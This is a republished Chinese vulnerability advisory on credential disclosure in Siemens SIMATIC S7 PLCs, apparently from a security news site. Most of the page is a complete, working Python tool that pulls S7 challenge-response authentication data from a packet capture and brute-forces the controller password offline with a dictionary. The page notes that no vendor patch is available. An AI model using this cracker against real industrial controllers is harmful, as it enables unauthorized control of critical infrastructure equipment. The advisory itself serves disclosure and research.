Welcome 微信登录
编程资源 图片资源库 蚂蚁家优选 PDF转换器

首页 / 操作系统 / Linux / SIEMENS SIMATIC S7 PLC Systems密码泄露漏洞

发布日期:2013-01-16
更新日期:2013-01-22受影响系统:
Siemens SIMATIC S7 PLC Systems
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 57439
 
Siemens SIMATIC S7 Programmable Logic Controllers (PLC)是模块化PLC控制器。
 
Siemens SIMATIC S7 Programmable Logic Controllers (PLC)系统在实现上存在密码泄露漏洞,攻击者可利用此漏洞获取设备密码凭证。
 
S7协议是SCADA、HMI和PLC之间的通信协议,该协议的数据传输受密码保护。Alexander Timorin发布了一个针对该协议的离线的密码暴力破解工具,该工具在S7协议的auth数据包中取得challenge-response数据,在此基础上进行离线的对密码的暴力破解。
 
<*来源:Alexander Timorin
 
 链接:http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-13-016-02.pdf
       http://scadastrangelove.blogspot.com/2013/01/s7brut.html
 *>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Alexander Timorin ()提供了如下测试方法:
 
"""
 File: s7-brute-offline.py
 Desc: offline password bruteforsing based on challenge-response data, extracted from auth traffic dump file
 
Alexander Timorin, Dmitry Sklyarov
 http://scadastrangelove.org
 
Version: 0.1 (just for demo, don"t kick my ass plz)
 """
 
import sys
 import hashlib
 import hmac
 from binascii import hexlify
 try:
   from scapy.all import *
 except ImportError:
   print "please install scapy: http://www.secdev.org/projects/scapy/ "
   sys.exit()
 cfg_pcap_file = "/root/siemens/RE_S7/stop_cpu_cmd_right_pass_123.pcap"
 cfg_dictionary_file = "dict.txt"
 
def get_challenge_response():
   r = rdpcap(cfg_pcap_file)
 
    lens = map(lambda x: x.len, r)
   pckt_lens = dict([(i, lens[i]) for i in range(0,len(lens))])
 
    # try to find challenge packet
   pckt_108 = 0 #challenge packet (from server)
   for (pckt_indx, pckt_len) in pckt_lens.items():
       if pckt_len+14 == 108 and hexlify(r[pckt_indx].load)[14:24] == "7202002732":
           pckt_108 = pckt_indx
           break
 
    # try to find response packet
   pckt_141 = 0 #response packet (from client)
   _t1 = dict([ (i, lens[i]) for i in pckt_lens.keys()[pckt_108:] ])
   for pckt_indx in sorted(_t1.keys()):
       pckt_len = _t1[pckt_indx]
       if pckt_len+14 == 141 and hexlify(r[pckt_indx].load)[14:24] == "7202004831":
           pckt_141 = pckt_indx
           break
 
    # try to find auth result packet
   pckt_84 = 0 # auth answer from plc: pckt_len==84 -> auth ok
   pckt_92 = 0 # auth answer from plc: pckt_len==92 -> auth bad
   for pckt_indx in sorted(_t1.keys()):
       pckt_len = _t1[pckt_indx]
       if pckt_len+14 == 84 and hexlify(r[pckt_indx].load)[14:24] == "7202000f32":
           pckt_84 = pckt_indx
           break
       if pckt_len+14 == 92 and hexlify(r[pckt_indx].load)[14:24] == "7202001732":
           pckt_92 = pckt_indx
           break
 
    print "found packets indeces: pckt_108=%d, pckt_141=%d, pckt_84=%d, pckt_92=%d" % (pckt_108, pckt_141, pckt_84, pckt_92)
   if pckt_84:
       print "auth ok"
   else:
       print "auth bad. for brute we need right auth result. exit"
       sys.exit()
 
    challenge = None
   response = None
 
    raw_challenge = hexlify(r[pckt_108].load)
   if raw_challenge[46:52] == "100214" and raw_challenge[92:94] == "00":
       challenge = raw_challenge[52:92]
       print "found challenge: %s" % challenge
   else:
       print "cannot find challenge. exit"
       sys.exit()
 
    raw_response = hexlify(r[pckt_141].load)
   if raw_response[64:70] == "100214" and raw_response[110:112] == "00":
       response = raw_response[70:110]
       print "found  response: %s" % response
   else:
       print "cannot find response. exit"
       sys.exit()
 
    return challenge, response
 
def calculate_s7response(password, challenge):
   challenge = challenge.decode("hex")
   return hmac.new( hashlib.sha1(password).digest(), challenge, hashlib.sha1).hexdigest()
 
if __name__ == "__main__":
   print "using pcap file: %s" % cfg_pcap_file
   challenge, response = get_challenge_response()
   print "start password bruteforsing  ..."
   for p in open(cfg_dictionary_file):
       p = p.strip()
       if response == calculate_s7response(p, challenge):
           print "found password: %s" % p
           sys.exit()
   print "password not found. try another dictionary."建议:
--------------------------------------------------------------------------------
厂商补丁:
 
Siemens
 -------
 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
 
http://www.siemens.com/corporate-technology/pool/Drupal Live CSS模块任意文件上传漏洞PrestaShop Canada Post模块安全绕过漏洞相关资讯      密码泄露漏洞 
  • D-Link DCS-932L UDP请求处理密码  (12/23/2012 10:08:25)
本文评论 查看全部评论 (0)
表情: 姓名: 字数


评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用